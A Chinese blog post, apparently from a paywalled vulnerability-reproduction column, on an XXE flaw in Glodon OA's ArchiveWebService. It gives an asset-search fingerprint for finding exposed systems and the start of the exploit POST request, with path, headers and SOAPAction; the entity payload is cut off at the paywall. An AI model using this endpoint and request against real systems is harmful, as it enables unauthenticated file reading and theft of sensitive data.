广联达OA接口ArchiveWebService存在XML实体注入漏洞

xiaokp7

于 2024-07-24 13:30:04 发布

阅读量247

点赞数

分类专栏：漏洞复现文章标签： xml

本文链接：https://blog.csdn.net/qq_33331244/article/details/140660611

版权

漏洞复现专栏收录该内容

58 篇文章 18 订阅 ¥39.90 ¥99.00

订阅专栏

超级会员免费看

一、漏洞简介

广联达办公OA（Office Automation）是一款综合办公自动化解决方案，旨在提高组织内部的工作效率和协作能力。它提供了一系列功能和工具，帮助企业管理和处理日常办公任务、流程和文档。广联达 ArchiveWebService接口处存在XML实体注入漏洞，未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件，获取敏感信息，使系统处于极不安全的状态。

二、资产测绘

app.name=“广联达 OA”
特征

三、漏洞复现

POST /GB/LK/Document/ArchiveService/ArchiveWebService.asmx HTTP/1.1
Host: 
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://GB/LK/Document/ArchiveService/ArchiveWebService.asmx/PostArchiveInfo"
 
<?xml version="1.0" encoding="utf-8

了解本专栏